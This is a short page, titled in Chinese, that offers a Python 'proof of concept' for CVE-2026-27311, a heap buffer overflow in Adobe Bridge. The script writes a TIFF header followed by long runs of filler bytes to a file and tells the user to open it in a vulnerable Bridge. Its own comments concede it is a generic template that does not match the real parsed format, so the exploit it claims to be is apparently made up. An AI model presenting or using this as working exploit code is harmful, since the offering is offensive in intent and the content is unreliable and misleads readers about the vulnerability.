CVE-2026-27311 Adobe Bridge基于堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-27311: Heap-based Buffer Overflow in Adobe Bridge # This script generates a malformed file designed to trigger a buffer overflow. # Note: This is a generic template for demonstration based on the vulnerability type. def generate_malicious_file(filename): # Simulating a file header that Adobe Bridge processes # In a real exploit, this would match a specific format parsed by Bridge (e.g., Tiff, PSD) header = b'\x49\x49\x2A\x00' # Example TIFF Header (Little Endian) # Constructing the overflow payload # The vulnerability occurs when a specific data field length is not validated. # We create a large buffer to overflow the heap boundary. padding = b'A' * 100 overflow_data = b'B' * 0x2000 # Excessive data to trigger the crash/overflow # Combine header and payload payload = header + padding + overflow_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file with a vulnerable version of Adobe Bridge to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_file("cve_2026_27311_poc.dat")